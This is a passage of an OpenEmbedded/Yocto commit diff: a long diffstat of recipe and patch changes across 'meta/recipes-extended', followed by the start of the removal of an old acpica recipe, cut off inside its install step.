-rw-r--r--meta/recipes-extended/man/man/man-1.6g-configure.patch68
-rw-r--r--meta/recipes-extended/man/man/man-1.6g-parallel.patch30
-rw-r--r--meta/recipes-extended/man/man/man-1.6g-whatis3.patch20
-rw-r--r--meta/recipes-extended/man/man/man.1.gzbin12323 -> 0 bytes
-rw-r--r--meta/recipes-extended/man/man/man.7.gzbin6192 -> 0 bytes
-rw-r--r--meta/recipes-extended/man/man/man.conf141
-rw-r--r--meta/recipes-extended/man/man/manpath.5.gzbin2133 -> 0 bytes
-rw-r--r--meta/recipes-extended/man/man_1.6g.bb86
-rw-r--r--meta/recipes-extended/mc/files/0001-mc-replace-perl-w-with-use-warnings.patch129
-rw-r--r--meta/recipes-extended/mc/files/0002-Ticket-3697-tty_init-unify-curses-initialization.patch66
-rw-r--r--meta/recipes-extended/mc/files/nomandate.patch32
-rw-r--r--meta/recipes-extended/mc/mc_4.8.19.bb50
-rw-r--r--meta/recipes-extended/mc/mc_4.8.31.bb57
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch22
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch27
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Use-CC-to-check-for-implicit-fallthrough-warning-sup.patch41
-rw-r--r--meta/recipes-extended/mdadm/files/0001-fix-gcc-8-format-truncation-warning.patch36
-rw-r--r--meta/recipes-extended/mdadm/files/0001-include-libgen.h-for-basename-API.patch56
-rw-r--r--meta/recipes-extended/mdadm/files/0001-include-sys-sysmacros.h-for-major-minor-defintions.patch48
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm-Add-Wimplicit-fallthrough-0-in-Makefile.patch37
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm-add-option-y-for-use-syslog-to-recive-event-re.patch25
-rw-r--r--meta/recipes-extended/mdadm/files/0001-mdadm.h-Undefine-dprintf-before-redefining.patch12
-rw-r--r--meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch155
-rw-r--r--meta/recipes-extended/mdadm/files/0001-util.c-add-limits.h-include-for-NAME_MAX-definition.patch24
-rw-r--r--meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch27
-rw-r--r--meta/recipes-extended/mdadm/files/0002-mdadm-Specify-enough-length-when-write-to-buffer.patch75
-rw-r--r--meta/recipes-extended/mdadm/files/0003-Replace-snprintf-with-strncpy-at-some-places-to-avoi.patch59
-rw-r--r--meta/recipes-extended/mdadm/files/0004-mdadm-Forced-type-conversion-to-avoid-truncation.patch33
-rw-r--r--meta/recipes-extended/mdadm/files/0005-Add-a-comment-to-indicate-valid-fallthrough.patch128
-rw-r--r--meta/recipes-extended/mdadm/files/debian-no-Werror.patch29
-rw-r--r--meta/recipes-extended/mdadm/files/gcc-4.9.patch22
-rw-r--r--meta/recipes-extended/mdadm/files/mdadm-3.3.2_x32_abi_time_t.patch25
-rw-r--r--meta/recipes-extended/mdadm/files/mdadm-fix-ptest-build-errors.patch45
-rw-r--r--meta/recipes-extended/mdadm/files/mdadm.init72
-rw-r--r--meta/recipes-extended/mdadm/files/run-ptest16
-rw-r--r--meta/recipes-extended/mdadm/mdadm_4.0.bb78
-rw-r--r--meta/recipes-extended/mdadm/mdadm_4.3.bb127
-rw-r--r--meta/recipes-extended/mingetty/mingetty_1.08.bb7
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch47
-rw-r--r--meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch35
-rw-r--r--meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch21
-rw-r--r--meta/recipes-extended/minicom/minicom_2.9.bb (renamed from meta/recipes-extended/minicom/minicom_2.7.1.bb)18
-rw-r--r--meta/recipes-extended/mktemp/files/disable-strip.patch15
-rw-r--r--meta/recipes-extended/mktemp/files/fix-parallel-make.patch24
-rw-r--r--meta/recipes-extended/mktemp/mktemp_1.7.bb36
-rw-r--r--meta/recipes-extended/msmtp/msmtp_1.6.6.bb30
-rw-r--r--meta/recipes-extended/msmtp/msmtp_1.8.25.bb27
-rw-r--r--meta/recipes-extended/net-tools/net-tools/0001-lib-inet6.c-INET6_rresolve-various-fixes.patch87
-rw-r--r--meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch15
-rw-r--r--meta/recipes-extended/net-tools/net-tools/ifconfig-interface-0-del-IP-will-remove-the-aliased-.patch32
-rw-r--r--meta/recipes-extended/net-tools/net-tools/musl-fixes.patch100
-rw-r--r--meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp1.patch638
-rw-r--r--meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp2-quiet.patch28
-rw-r--r--meta/recipes-extended/net-tools/net-tools/net-tools-1.60-sctp3-addrs.patch363
-rw-r--r--meta/recipes-extended/net-tools/net-tools/net-tools-fix-building-with-linux-4.8.patch52
-rw-r--r--meta/recipes-extended/net-tools/net-tools_1.60-26.bb122
-rw-r--r--meta/recipes-extended/net-tools/net-tools_2.10.bb121
-rw-r--r--meta/recipes-extended/newt/files/0001-detect-gold-as-GNU-linker-too.patch14
-rw-r--r--meta/recipes-extended/newt/files/cross_ar.patch26
-rw-r--r--meta/recipes-extended/newt/files/fix_SHAREDDIR.patch37
-rw-r--r--meta/recipes-extended/newt/files/pie-flags.patch36
-rw-r--r--meta/recipes-extended/newt/libnewt-python_0.52.20.bb28
-rw-r--r--meta/recipes-extended/newt/libnewt_0.52.24.bb (renamed from meta/recipes-extended/newt/libnewt_0.52.20.bb)30
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb61
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb85
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-lsb.bb240
-rw-r--r--meta/recipes-extended/pam/libpam/0001-Add-support-for-defining-missing-funcitonality.patch68
-rw-r--r--meta/recipes-extended/pam/libpam/99_pam2
-rw-r--r--meta/recipes-extended/pam/libpam/crypt_configure.patch40
-rw-r--r--meta/recipes-extended/pam/libpam/fixsepbuild.patch24
-rw-r--r--meta/recipes-extended/pam/libpam/include_paths_header.patch59
-rw-r--r--meta/recipes-extended/pam/libpam/libpam-xtests-remove-bash-dependency.patch226
-rw-r--r--meta/recipes-extended/pam/libpam/libpam-xtests.patch26
-rw-r--r--meta/recipes-extended/pam/libpam/pam-security-abstract-securetty-handling.patch200
-rw-r--r--meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch195
-rw-r--r--meta/recipes-extended/pam/libpam/pam-volatiles.conf1
-rw-r--r--meta/recipes-extended/pam/libpam/pam.d/common-password5
-rw-r--r--meta/recipes-extended/pam/libpam/run-ptest32
-rw-r--r--meta/recipes-extended/pam/libpam_1.3.0.bb167
-rw-r--r--meta/recipes-extended/pam/libpam_1.6.1.bb190
-rw-r--r--meta/recipes-extended/parted/files/0001-Include-fcntl.h-in-platform_defs.h.patch29
-rw-r--r--meta/recipes-extended/parted/files/0001-Move-python-helper-scripts-used-only-in-tests-to-Pyt.patch44
-rw-r--r--meta/recipes-extended/parted/files/0001-Unset-need_charset_alias-when-building-for-musl.patch33
-rw-r--r--meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch34
-rw-r--r--meta/recipes-extended/parted/files/0001-libparted-Use-read-only-when-probing-devices-on-linu.patch224
-rw-r--r--meta/recipes-extended/parted/files/0002-libparted_fs_resize-link-against-libuuid-explicitly-.patch34
-rw-r--r--meta/recipes-extended/parted/files/Makefile285
-rw-r--r--meta/recipes-extended/parted/files/autoconf-2.73.patch22
-rw-r--r--meta/recipes-extended/parted/files/fix-compile-failure-while-dis.patch57
-rw-r--r--meta/recipes-extended/parted/files/no_check.patch20
-rw-r--r--meta/recipes-extended/parted/files/run-ptest6
-rw-r--r--meta/recipes-extended/parted/files/syscalls.patch55
-rw-r--r--meta/recipes-extended/parted/parted/parted-3.2-sysmacros.patch32
-rw-r--r--meta/recipes-extended/parted/parted_3.2.bb50
-rw-r--r--meta/recipes-extended/parted/parted_3.6.bb62
-rw-r--r--meta/recipes-extended/pax/pax/0001-Add-a-comment-for-fallthrough.patch38
-rw-r--r--meta/recipes-extended/pax/pax/0001-Fix-build-with-musl.patch1287
-rw-r--r--meta/recipes-extended/pax/pax/0001-include-sys-sysmacros.h-for-major-minor-definitions.patch65
-rw-r--r--meta/recipes-extended/pax/pax/0001-use-strtoll-instead-of-strtoq.patch33
-rw-r--r--meta/recipes-extended/pax/pax/fix_for_compile_with_gcc-4.6.0.patch25
-rw-r--r--meta/recipes-extended/pax/pax/pax-3.4_fix_for_x32.patch185
-rw-r--r--meta/recipes-extended/pax/pax_3.4.bb31
-rw-r--r--meta/recipes-extended/pbzip2/pbzip2/0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch73
-rw-r--r--meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb15
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.27.bb17
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb22
-rw-r--r--meta/recipes-extended/perl/libtimedate-perl_2.30.bb9
-rw-r--r--meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.9.bb35
-rw-r--r--meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb27
-rw-r--r--meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb10
-rw-r--r--meta/recipes-extended/perl/libxml-sax-perl_1.02.bb (renamed from meta/recipes-extended/perl/libxml-sax-perl_0.99.bb)28
-rw-r--r--meta/recipes-extended/pigz/pigz_2.3.4.bb11
-rw-r--r--meta/recipes-extended/pigz/pigz_2.8.bb (renamed from meta/recipes-extended/pigz/pigz.inc)21
-rw-r--r--meta/recipes-extended/pixz/pixz/0001-configure-Detect-headers-before-using-them.patch51
-rw-r--r--meta/recipes-extended/pixz/pixz/0002-endian-Use-macro-bswap_64-instead-of-__bswap_64.patch47
-rw-r--r--meta/recipes-extended/pixz/pixz/936d8068ae19d95260d3058f41dd6cf718101cd6.patch68
-rw-r--r--meta/recipes-extended/pixz/pixz_1.0.6.bb25
-rw-r--r--meta/recipes-extended/procps/procps/sysctl.conf105
-rw-r--r--meta/recipes-extended/procps/procps_4.0.4.bb (renamed from meta/recipes-extended/procps/procps_3.3.12.bb)62
-rw-r--r--meta/recipes-extended/psmisc/files/0001-Typo-in-fuser-makes-M-on-all-the-time.patch46
-rw-r--r--meta/recipes-extended/psmisc/files/0002-Include-limits.h-for-PATH_MAX.patch29
-rw-r--r--meta/recipes-extended/psmisc/psmisc.inc39
-rw-r--r--meta/recipes-extended/psmisc/psmisc/0001-Use-UINTPTR_MAX-instead-of-__WORDSIZE.patch14
-rw-r--r--meta/recipes-extended/psmisc/psmisc_22.21.bb12
-rw-r--r--meta/recipes-extended/psmisc/psmisc_23.7.bb9
-rw-r--r--meta/recipes-extended/quota/quota/fcntl.patch61
-rw-r--r--meta/recipes-extended/quota/quota/remove_non_posix_types.patch198
-rw-r--r--meta/recipes-extended/quota/quota/replace_getrpcbynumber_r.patch32
-rw-r--r--meta/recipes-extended/quota/quota_4.09.bb (renamed from meta/recipes-extended/quota/quota_4.04.bb)16
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/0001-rpcbind-pair-all-svc_getargs-calls-with-svc_freeargs.patch221
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch42
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf2
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind.service12
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind.socket8
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch130
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind_1.2.6.bb (renamed from meta/recipes-extended/rpcbind/rpcbind_0.2.4.bb)36
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb41
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch20
-rw-r--r--meta/recipes-extended/screen/screen/0001-Remove-more-compatibility-stuff.patch31
-rw-r--r--meta/recipes-extended/screen/screen/0001-configure.ac-fix-configure-failed-while-build-dir-ha.patch109
-rw-r--r--meta/recipes-extended/screen/screen/0002-comm.h-now-depends-on-term.h.patch19
-rw-r--r--meta/recipes-extended/screen/screen/Avoid-mis-identifying-systems-as-SVR4.patch57
-rw-r--r--meta/recipes-extended/screen/screen/Provide-cross-compile-alternatives-for-AC_TRY_RUN.patch137
-rw-r--r--meta/recipes-extended/screen/screen/Remove-redundant-compiler-sanity-checks.patch65
-rw-r--r--meta/recipes-extended/screen/screen/Skip-host-file-system-checks-when-cross-compiling.patch135
-rw-r--r--meta/recipes-extended/screen/screen_4.9.1.bb (renamed from meta/recipes-extended/screen/screen_4.6.1.bb)29
-rw-r--r--meta/recipes-extended/sed/sed-4.2.2/0001-Unset-need_charset_alias-when-building-for-musl.patch33
-rw-r--r--meta/recipes-extended/sed/sed-4.2.2/run-ptest3
-rw-r--r--meta/recipes-extended/sed/sed-4.2.2/sed-add-ptest.patch66
-rw-r--r--meta/recipes-extended/sed/sed/run-ptest5
-rw-r--r--meta/recipes-extended/sed/sed_4.2.2.bb47
-rw-r--r--meta/recipes-extended/sed/sed_4.9.bb67
-rw-r--r--meta/recipes-extended/shadow/files/0001-Disable-use-of-syslog-for-sysroot.patch124
-rw-r--r--meta/recipes-extended/shadow/files/0001-Do-not-read-login.defs-before-doing-chroot.patch46
-rw-r--r--meta/recipes-extended/shadow/files/0001-lib-copydir-copy_entry-use-temporary-stat-buffer.patch37
-rw-r--r--meta/recipes-extended/shadow/files/0001-shadow-CVE-2017-1242446
-rw-r--r--meta/recipes-extended/shadow/files/0001-useradd-copy-extended-attributes-of-home.patch47
-rw-r--r--meta/recipes-extended/shadow/files/0001-useradd.c-create-parent-directories-when-necessary.patch115
-rw-r--r--meta/recipes-extended/shadow/files/allow-for-setting-password-in-clear-text.patch201
-rw-r--r--meta/recipes-extended/shadow/files/check_size_of_uid_t_and_gid_t_using_AC_CHECK_SIZEOF.patch41
-rw-r--r--meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch20
-rw-r--r--meta/recipes-extended/shadow/files/fix-installation-failure-with-subids-disabled.patch28
-rw-r--r--meta/recipes-extended/shadow/files/login.defs_shadow-sysroot1
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/chpasswd2
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/login4
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/newusers2
-rw-r--r--meta/recipes-extended/shadow/files/securetty1
-rw-r--r--meta/recipes-extended/shadow/files/shadow-4.1.3-dots-in-usernames.patch27
-rw-r--r--meta/recipes-extended/shadow/files/shadow-relaxed-usernames.patch100
-rw-r--r--meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch83
-rw-r--r--meta/recipes-extended/shadow/files/useradd8
-rw-r--r--meta/recipes-extended/shadow/files/usermod-fix-compilation-failure-with-subids-disabled.patch33
-rw-r--r--meta/recipes-extended/shadow/shadow-securetty_4.6.bb (renamed from meta/recipes-extended/shadow/shadow-securetty_4.2.1.bb)6
-rw-r--r--meta/recipes-extended/shadow/shadow-sysroot_4.6.bb (renamed from meta/recipes-extended/shadow/shadow-sysroot_4.2.1.bb)19
-rw-r--r--meta/recipes-extended/shadow/shadow.inc148
-rw-r--r--meta/recipes-extended/shadow/shadow_4.15.0.bb10
-rw-r--r--meta/recipes-extended/shadow/shadow_4.2.1.bb10
-rw-r--r--meta/recipes-extended/slang/slang/array_test.patch20
-rw-r--r--meta/recipes-extended/slang/slang/dont-link-to-host.patch23
-rw-r--r--meta/recipes-extended/slang/slang/terminfo_fixes.patch32
-rw-r--r--meta/recipes-extended/slang/slang_2.3.3.bb (renamed from meta/recipes-extended/slang/slang_2.3.1a.bb)16
-rw-r--r--meta/recipes-extended/stat/stat-3.3/fix-error-return.patch16
-rw-r--r--meta/recipes-extended/stat/stat-3.3/fix-security-format.patch68
-rw-r--r--meta/recipes-extended/stat/stat_3.3.bb35
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.17.07.bb36
-rw-r--r--meta/recipes-extended/stress/files/texinfo.patch80
-rw-r--r--meta/recipes-extended/stress/stress_1.0.4.bb15
-rw-r--r--meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch62
-rw-r--r--meta/recipes-extended/sudo/sudo.inc52
-rw-r--r--meta/recipes-extended/sudo/sudo/0001-Include-sys-types.h-for-id_t-definition.patch34
-rw-r--r--meta/recipes-extended/sudo/sudo_1.8.21p2.bb36
-rw-r--r--meta/recipes-extended/sudo/sudo_1.9.15p5.bb61
-rw-r--r--meta/recipes-extended/sysklogd/files/0001-Fix-build-with-musl.patch132
-rw-r--r--meta/recipes-extended/sysklogd/files/0001-fix-problems-that-causes-a-segmentation-fault-under-.patch28
-rw-r--r--meta/recipes-extended/sysklogd/files/0002-Make-way-for-respecting-flags-from-environment.patch35
-rw-r--r--meta/recipes-extended/sysklogd/files/klogd.service13
-rw-r--r--meta/recipes-extended/sysklogd/files/no-strip-install.patch17
-rw-r--r--meta/recipes-extended/sysklogd/files/no-vectorization.patch20
-rwxr-xr-xmeta/recipes-extended/sysklogd/files/sysklogd41
-rw-r--r--meta/recipes-extended/sysklogd/files/syslog.conf71
-rw-r--r--meta/recipes-extended/sysklogd/files/syslogd.service14
-rw-r--r--meta/recipes-extended/sysklogd/files/tmpfiles.sysklogd.conf1
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd.inc72
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_1.5.1.bb4
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_2.5.2.bb56
-rw-r--r--meta/recipes-extended/sysstat/sysstat.inc65
-rw-r--r--meta/recipes-extended/sysstat/sysstat/0001-Include-needed-headers-explicitly.patch62
-rw-r--r--meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch31
-rw-r--r--meta/recipes-extended/sysstat/sysstat/sysstat.service2
-rw-r--r--meta/recipes-extended/sysstat/sysstat_11.6.1.bb8
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.7.5.bb80
-rw-r--r--meta/recipes-extended/tar/tar.inc52
-rw-r--r--meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch228
-rw-r--r--meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch60
-rw-r--r--meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch112
-rw-r--r--meta/recipes-extended/tar/tar/CVE-2016-6321.patch66
-rw-r--r--meta/recipes-extended/tar/tar/musl_dirent.patch19
-rw-r--r--meta/recipes-extended/tar/tar/remove-gets.patch29
-rw-r--r--meta/recipes-extended/tar/tar/run-ptest14
-rw-r--r--meta/recipes-extended/tar/tar_1.29.bb19
-rw-r--r--meta/recipes-extended/tar/tar_1.35.bb102
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-build-with-clang.patch65
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch114
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch43
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/12_makefile_config.patch24
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings.patch25
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings2.patch200
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch5
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb32
-rw-r--r--meta/recipes-extended/texi2html/files/0001-Allow-compiling-out-of-source.patch39
-rw-r--r--meta/recipes-extended/texi2html/texi2html_5.0.bb31
-rw-r--r--meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb14
-rw-r--r--meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/template.py86
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0001-Unset-need_charset_alias-when-building-for-musl.patch30
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch (renamed from meta/recipes-extended/texinfo/texinfo/disable-native-tools.patch)22
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0002-dont-depend-on-help2man.patch (renamed from meta/recipes-extended/texinfo/texinfo/dont-depend-on-help2man.patch)25
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch28
-rw-r--r--meta/recipes-extended/texinfo/texinfo/link-zip.patch16
-rw-r--r--meta/recipes-extended/texinfo/texinfo/texinfo-4.12-zlib.patch256
-rw-r--r--meta/recipes-extended/texinfo/texinfo/use_host_makedoc.patch17
-rw-r--r--meta/recipes-extended/texinfo/texinfo_7.1.bb (renamed from meta/recipes-extended/texinfo/texinfo_6.5.bb)52
-rw-r--r--meta/recipes-extended/time/time-1.7/debian.patch1301
-rw-r--r--meta/recipes-extended/time/time.inc14
-rw-r--r--meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch27
-rw-r--r--meta/recipes-extended/time/time_1.7.bb11
-rw-r--r--meta/recipes-extended/time/time_1.9.bb23
-rw-r--r--meta/recipes-extended/timezone/timezone.inc20
-rw-r--r--meta/recipes-extended/timezone/tzcode-native.bb14
-rw-r--r--meta/recipes-extended/timezone/tzdata.bb204
-rw-r--r--meta/recipes-extended/tzcode/files/0001-Fix-Makefile-quoting-bug.patch174
-rw-r--r--meta/recipes-extended/tzcode/files/0002-Port-zdump-to-C90-snprintf.patch115
-rw-r--r--meta/recipes-extended/tzcode/tzcode-native_2017c.bb31
-rw-r--r--meta/recipes-extended/tzdata/tzdata_2017c.bb215
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch112
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch137
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch103
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-unzip-fix-CVE-2018-1000035.patch48
-rw-r--r--meta/recipes-extended/unzip/unzip/10-cve-2014-8140-test-compr-eb.patch12
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2018-18384.patch39
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2019-13232_p1.patch33
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2019-13232_p2.patch356
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2019-13232_p3.patch121
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch67
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch39
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch33
-rw-r--r--meta/recipes-extended/unzip/unzip/avoid-strip.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/define-ldflags.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/unzip/unzip/symlink.patch26
-rw-r--r--meta/recipes-extended/unzip/unzip/unzip_optimization.patch127
-rw-r--r--meta/recipes-extended/unzip/unzip_6.0.bb23
-rw-r--r--meta/recipes-extended/watchdog/watchdog-config.bb9
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-Include-linux-param.h-for-EXEC_PAGESIZE-definition.patch32
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch37
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch68
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch30
-rw-r--r--meta/recipes-extended/watchdog/watchdog/watchdog-conf.patch14
-rw-r--r--meta/recipes-extended/watchdog/watchdog/watchdog-init.patch56
-rw-r--r--meta/recipes-extended/watchdog/watchdog/watchdog.init110
-rw-r--r--meta/recipes-extended/watchdog/watchdog_5.15.bb65
-rw-r--r--meta/recipes-extended/watchdog/watchdog_5.16.bb73
-rw-r--r--meta/recipes-extended/wget/wget.inc37
-rw-r--r--meta/recipes-extended/wget/wget/0001-Unset-need_charset_alias-when-building-for-musl.patch30
-rw-r--r--meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch63
-rw-r--r--meta/recipes-extended/wget/wget_1.19.2.bb8
-rw-r--r--meta/recipes-extended/wget/wget_1.24.5.bb7
-rw-r--r--meta/recipes-extended/which/which_2.21.bb13
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch58
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch145
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb (renamed from meta/recipes-extended/xdg-utils/xdg-utils_1.1.2.bb)12
-rw-r--r--meta/recipes-extended/xinetd/xinetd/0001-configure-Use-HAVE_SYS_RESOURCE_H-to-guard-sys-resou.patch100
-rw-r--r--meta/recipes-extended/xinetd/xinetd/Disable-services-from-inetd.conf-if-a-service-with-t.patch86
-rw-r--r--meta/recipes-extended/xinetd/xinetd/Various-fixes-from-the-previous-maintainer.patch79
-rw-r--r--meta/recipes-extended/xinetd/xinetd/xinetd-CVE-2013-4342.patch34
-rw-r--r--meta/recipes-extended/xinetd/xinetd/xinetd-should-be-able-to-listen-on-IPv6-even-in-ine.patch112
-rw-r--r--meta/recipes-extended/xinetd/xinetd/xinetd.conf11
-rw-r--r--meta/recipes-extended/xinetd/xinetd/xinetd.service5
-rw-r--r--meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb54
-rw-r--r--meta/recipes-extended/xinetd/xinetd_2.3.15.bb78
-rw-r--r--meta/recipes-extended/xz/xz/run-ptest26
-rw-r--r--meta/recipes-extended/xz/xz_5.2.3.bb36
-rw-r--r--meta/recipes-extended/xz/xz_5.4.6.bb69
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch134
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch88
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch47
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch96
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch34
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0002-unix.c-Do-not-redefine-DIR-as-FILE.patch35
-rw-r--r--meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch19
-rw-r--r--meta/recipes-extended/zip/zip-3.0/fix-security-format.patch2
-rw-r--r--meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch22
-rw-r--r--meta/recipes-extended/zip/zip_3.0.bb16
-rw-r--r--meta/recipes-extended/zstd/zstd/0001-pzstd-use-directly-for-the-test-c-snippet.patch39
-rw-r--r--meta/recipes-extended/zstd/zstd_1.5.5.bb47
646 files changed, 10744 insertions, 26342 deletions
diff --git a/meta/recipes-extended/acpica/acpica_20170303.bb b/meta/recipes-extended/acpica/acpica_20170303.bb
deleted file mode 100644
index e712ca008d..0000000000
--- a/meta/recipes-extended/acpica/acpica_20170303.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "ACPICA tools for the development and debug of ACPI tables"
-DESCRIPTION = "The ACPI Component Architecture (ACPICA) project provides an \
-OS-independent reference implementation of the Advanced Configuration and \
-Power Interface Specification (ACPI). ACPICA code contains those portions of \
-ACPI meant to be directly integrated into the host OS as a kernel-resident \
-subsystem, and a small set of tools to assist in developing and debugging \
-ACPI tables."
-
-HOMEPAGE = "http://www.acpica.org/"
-SECTION = "console/tools"
-
-LICENSE = "BSD | GPLv2"
-LIC_FILES_CHKSUM = "file://generate/unix/readme.txt;md5=204407e197c1a01154a48f6c6280c3aa"
-
-COMPATIBLE_HOST = "(i.86|x86_64|arm|aarch64).*-linux"
-
-DEPENDS = "bison flex"
-
-SRC_URI = "https://acpica.org/sites/acpica/files/acpica-unix2-${PV}.tar.gz \
- file://no-werror.patch \
- file://rename-yy_scan_string-manually.patch \
- file://manipulate-fds-instead-of-FILE.patch;striplevel=2 \
- "
-SRC_URI[md5sum] = "48ef4314fb4ffdd0c96f14dcf20544e1"
-SRC_URI[sha256sum] = "b2d81e84107ac9a02be86ea43cbea7afa8fd4b4150270bc88c2d4c9fea0b8aad"
-UPSTREAM_CHECK_URI = "https://acpica.org/downloads"
-
-S = "${WORKDIR}/acpica-unix2-${PV}"
-
-inherit update-alternatives
-
-ALTERNATIVE_PRIORITY = "100"
-ALTERNATIVE_${PN} = "acpixtract"
-
-EXTRA_OEMAKE = "CC='${CC}' 'OPT_CFLAGS=-Wall'"
-
-do_install() {
- install -D -p -m0755 generate/unix/bin*/iasl ${D}${bindir}/iasl
